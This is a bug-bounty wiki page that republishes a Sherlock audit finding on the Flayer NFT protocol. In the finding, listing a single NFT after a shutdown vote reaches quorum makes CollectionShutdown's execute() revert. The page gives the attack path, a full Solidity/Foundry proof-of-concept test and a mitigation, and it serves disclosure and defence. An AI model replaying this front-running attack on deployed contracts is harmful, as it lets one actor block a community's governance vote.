Skip to content
Business logic Audit finding Intermediate

It is possible to prevent the execution of the `execute()` function, listing only one NFT

The collection shutdown mechanism can be blocked by listing a single NFT of the collection after the shutdown quorum is reached, causing the execute function to revert. An attacker can repeatedly prevent the collection from being deleted, making the voting system ineffective.

Audinarey Follow with Aymen0909, BugPull and 4 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/244

Found by

Audinarey, Aymen0909, BugPull, BugsFinders0x, Ollam, Tendency, ZeroTrust

Summary

It Is possible for everyone to front-run the calls to the execute() function, by listing an NFT in the Listings.sol contract, right after the quorum is reached.

Root Cause

In the CollectionShutdown.sol, there is the possibility to start a voting system to delete a specific collection from the platform. The logic of the voting system is simple: There is a quorum to reach. After that, it is possible to call the execute() function that will delete the collection.

The function that will initialize this voting system is the start() function that is possible to check here CollectionShutdown.sol:135.

Supposing that the Voting system for a collection starts, and the quorum is reached.

At this point, the Owner of the CollectionShutdown.sol contract, could call the execute() function to delete the collection from the platform, CollectionShutdown.sol:231.

In the meantime, a malicious actor who doesn't want the collection will be deleted lists an NFT of the same collection, Listings.sol:130.

At this point, when the Owner of the CollectionShutdown.sol tries to call the execute() function, there is a call on the _hasListing() function to check if the collection is listed CollectionShutdown.sol:241. The collection is listed, so the execute function will go in revert due to the previous check.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

There are 2 different users: User2, Hacker

  1. Hacker creates and initializes Collection with 10 NFTs.
  2. User2 owns the same NFTs (5 in total) and after some time, wants to start a voting system to delete the collection from the platform.
  3. User2 calls start() in CollectionShutdown.sol and reaches the quorum to delete the collection.
  4. Hacker has one more NFT, and lists it in Listings.sol
  5. Owner of CollectionShutdown.sol calls the execute()
  6. Reverts, due to the _hasListing() check, that attests that there is one token listed already.

Impact

Everyone can prevent the execution of the execute() function. This will make the voting system useless

PoC

Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import {stdStorage, StdStorage, Test} from 'forge-std/Test.sol';
import {ProxyAdmin, ITransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {CollectionToken} from "@flayer/CollectionToken.sol";
import {FlayerTest} from "../lib/FlayerTest.sol";
import {LockerManager} from "../../src/contracts/LockerManager.sol";
import {Locker} from "../../src/contracts/Locker.sol";
import {Listings} from "../../src/contracts/Listings.sol";
import {ProtectedListings} from "../../src/contracts/ProtectedListings.sol";
import {TaxCalculator} from "../../src/contracts/TaxCalculator.sol";
import {WETH9} from '../lib/WETH.sol';
import {ERC721Mock} from '../mocks/ERC721Mock.sol';
import {ERC721MyMock} from '../mocks/ERC721MyMock.sol';
import {UniswapImplementation} from '@flayer/implementation/UniswapImplementation.sol';
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {ICollectionToken} from "../../src/interfaces/ICollectionToken.sol";
import {Clones} from '@openzeppelin/contracts/proxy/Clones.sol';
import {PoolKey} from '@uniswap/v4-core/src/types/PoolKey.sol';
import {IPoolManager, PoolManager, Pool} from '@uniswap/v4-core/src/PoolManager.sol';
import {PoolIdLibrary, PoolId} from '@uniswap/v4-core/src/types/PoolId.sol';
import {CurrencyLibrary} from "../../lib/v4-core/src/types/Currency.sol";
import {LinearRangeCurve} from '@flayer/lib/LinearRangeCurve.sol';
import {CollectionShutdown} from '@flayer/utils/CollectionShutdown.sol';
import {ICollectionShutdown} from "../../src/interfaces/utils/ICollectionShutdown.sol";
import {IListings} from "../../src/interfaces/IListings.sol";
import "forge-std/console.sol";


contract CollectionTokenProxyTest is Test {

    using PoolIdLibrary for PoolKey;

    address RANGE_CURVE;
    address payable PAIR_FACTORY = payable(0xA020d57aB0448Ef74115c112D18a9C231CC86000);
    address payable internal _proxy;
    ProxyAdmin internal _proxyAdmin;

    CollectionToken internal _collectionTokenV1Impl;
    CollectionToken internal _collectionTokenV1;
    TransparentUpgradeableProxy _collectionTokenV1Proxy;

    LockerManager lockerManager;
    Locker locker;
    Listings listings;
    ProtectedListings protListings;
    TaxCalculator calculator;
    WETH9 WETH;
    ERC721Mock erc721a;
    ERC721MyMock erc721MyA;
    PoolManager poolManager;
    UniswapImplementation uniswapImplementation;
    CollectionShutdown collectionShutdown;
    address payable public constant VALID_LOCKER_ADDRESS = payable(0x57D88D547641a626eC40242196F69754b25D2FCC);



    // Address that interacts
    address owner;
    address user1;
    address user2;
    address hacker;


    function setUp() public {
        owner = vm.addr(4);
        user1 = vm.addr(1);
        user2 = vm.addr(2);
        hacker = vm.addr(4);

        vm.deal(owner, 1000 ether);
        vm.deal(user1, 1000 ether);
        vm.deal(user2, 1000 ether);
        vm.deal(hacker, 1000 ether);


        //Deploy Contracts
        deployAllContracts();

        vm.prank(user1);
        WETH.deposit{value: 100 ether}();

        vm.prank(user2);
        WETH.deposit{value: 100 ether}();

        vm.prank(hacker);
        WETH.deposit{value: 100 ether}();

    }
    // ================= Listings.sol =====================


    function test_ListBeforeExecute()public{

        // Hacker creates a collection.
        vm.startPrank(hacker);

        address newCollectionToken = locker.createCollection(address(erc721a), "Mock", "MOCK", 0);

        uint256[] memory path = new uint256[](10);

        // Hacker approves 10 tokens to the locker contract to initialize the collection.
        for(uint i = 0; i < 10; i++){
            path[i] = i;
            erc721a.approve(address(locker), i);
        }

        WETH.approve(address(locker), 10 ether);


        // Hacker initialize the collection and send to locker 10 ERC721a. Hacker owns only one more out of the platform.
        locker.initializeCollection(address(erc721a), 1 ether, path, path.length * 1 ether, 158456325028528675187087900672);
        vm.stopPrank();





        // To call the start() function, user2 must deposit first to get collectionTokens to vote.
        vm.startPrank(user2);

        // Approve TOKEN IDS To locker contract
        uint[] memory path2 = new uint[](10);

        uint iterations = 0;

        for(uint i = 11; i < 21; i++){
            erc721a.approve(address(locker), i);
            path2[iterations] = i;
            iterations++;
        }


        // User2 deposit and get collectionTokens in ratio 1:1
        locker.deposit(address(erc721a), path2);

        console.log("User2 CollectionToken Balance, BEFORE start a votation", CollectionToken(newCollectionToken).balanceOf(user2));



        // User2 approves CollectionTokens to the collectionShutdown contract to start a vote.
        CollectionToken(newCollectionToken).approve(address(collectionShutdown), CollectionToken(newCollectionToken).balanceOf(user2));


        // User2 calls the start() function
        collectionShutdown.start(address(erc721a));


        console.log("User2 CollectionToken Balance, AFTER start a votation", CollectionToken(newCollectionToken).balanceOf(user2));
        console.log("");



        // Check Params to calls execute() function.
        ICollectionShutdown.CollectionShutdownParams memory params = collectionShutdown.collectionParams(address(erc721a));

        console.log("shutdownVotes", params.shutdownVotes);
        console.log("quorumVotes", params.quorumVotes);
        console.log("canExecute", params.canExecute);
        console.log("availableClaim", params.availableClaim);

        vm.stopPrank();




        // Hacker sees that the quorum is reached, and decide to deposit the other token that he owns, and list it.
        vm.startPrank(hacker);

        // Approves token ID 10, to listing contract
        erc721a.approve(address(listings), 10);
        uint[] memory path3 = new uint[](1);
        path3[0] = 10;



        // Listings Paramenter
        IListings.Listing memory newListingsBaseParameter = listings.listings(address(erc721a), 10);
        newListingsBaseParameter.owner = payable(hacker);
        newListingsBaseParameter.duration = uint32(5 days);
        newListingsBaseParameter.created = uint40(block.timestamp);
        newListingsBaseParameter.floorMultiple = 10_00;


        // Listings Paramenter
        IListings.CreateListing memory listingsParams;
        listingsParams.collection = address(erc721a);
        listingsParams.tokenIds = path3;
        listingsParams.listing = newListingsBaseParameter;

        // Listings Paramenter
        IListings.CreateListing[] memory listingsParamsCorrect = new IListings.CreateListing[](1);
        listingsParamsCorrect[0] = listingsParams;


        // Hacker creates a Listing for the collection erc721a
        listings.createListings(listingsParamsCorrect);
        vm.stopPrank();




        //Delete collection is impossible, due to hasListing error.
        vm.prank(owner);
        vm.expectRevert();
        collectionShutdown.execute(address(erc721a), path);
    }


    function deployAllContracts()internal{


        // Deploy Collection Token
        vm.startPrank(owner);

        _proxyAdmin = new ProxyAdmin();

        bytes memory data = abi.encodeWithSignature("initialize(string,string,uint256)", "TokenName", "TKN", 10);

        _collectionTokenV1Impl = new CollectionToken();
        _collectionTokenV1Proxy = new TransparentUpgradeableProxy(
            address(_collectionTokenV1Impl),
            address(_proxyAdmin),
            data
        );

        _collectionTokenV1 = CollectionToken(address(_collectionTokenV1Proxy));
        assertEq(_collectionTokenV1.name(), "TokenName");


        // Deploy LockerManager
        lockerManager = new LockerManager();

        // Deploy Locker
        locker = new Locker(address(_collectionTokenV1Impl), address(lockerManager));

        // Deploy Listings
        listings = new Listings(locker);

        // Deploy ProtectedListings
        protListings = new ProtectedListings(locker, address(listings));


        // Deploy RANGE_CURVE
        RANGE_CURVE = address(new LinearRangeCurve());


        // Deploy TaxCalculator
        calculator = new TaxCalculator();


        // Deploy CollectionShutdown
        collectionShutdown = new CollectionShutdown(locker, PAIR_FACTORY, RANGE_CURVE);


        // Deploy PoolManager
        poolManager = new PoolManager(500000);


        // Deploy WETH
        WETH = new WETH9();


        // Deploy ERC721 Contract
        erc721a = new ERC721Mock();


        //// Deploy ERC721 Malicious Contract
        //erc721MyA = new ERC721MyMock(address(locker));


        // Uniswap Implementation
        deployCodeTo('UniswapImplementation.sol', abi.encode(address(poolManager), address(locker), address(WETH)), VALID_LOCKER_ADDRESS);
        uniswapImplementation = UniswapImplementation(VALID_LOCKER_ADDRESS);
        uniswapImplementation.initialize(locker.owner());


        // First settings for the contracts
        listings.setProtectedListings(address(protListings));

        locker.setListingsContract(payable(address(listings)));
        locker.setTaxCalculator(address(calculator));
        locker.setCollectionShutdownContract(payable(address(collectionShutdown)));
        locker.setImplementation(address(uniswapImplementation));

        lockerManager.setManager(address(listings), true);
        lockerManager.setManager(address(protListings), true);
        lockerManager.setManager(address(collectionShutdown), true);


        // Mint some tokens ERC721 for user1 and hacker
        for(uint i = 0; i < 11; i++){
            erc721a.mint(hacker, i);
        }


        for(uint i = 11; i < 21; i++){
            erc721a.mint(user2, i);
        }


        // erc721a id 10 For the hacker
        erc721a.mint(user1, 21);


        vm.stopPrank();
    }
}

Mitigation

Perform a check to prevent a collection that is up for deletion from being listed

The original report as published on Sherlock, by Audinarey. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Attacker owns at least one NFT of the collection; shutdown vote reaches quorum

The fix

The contract should be fixed to prevent a collection that is up for deletion from being listed.

How it was found

  1. Hacker creates and initialises a collection with 10 NFTs.
  2. User2 deposits 10 NFTs of the same collection and calls start() to begin a shutdown vote, reaching quorum.
  3. Hacker lists one additional NFT of the collection in the Listings contract.
  4. Owner calls execute() to delete the collection, but it reverts due to the _hasListing() check.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A voting system lets users decide to remove a collection of digital items from a platform. Once enough votes are cast, someone calls a function to finalise the removal. However, if any item from that collection is put up for sale, the removal is blocked. An attacker can exploit this by listing just one item, stopping the removal and wasting everyone's votes.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Audinarey

View all

10 more disclosed reports, best first.

More from Flayer

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.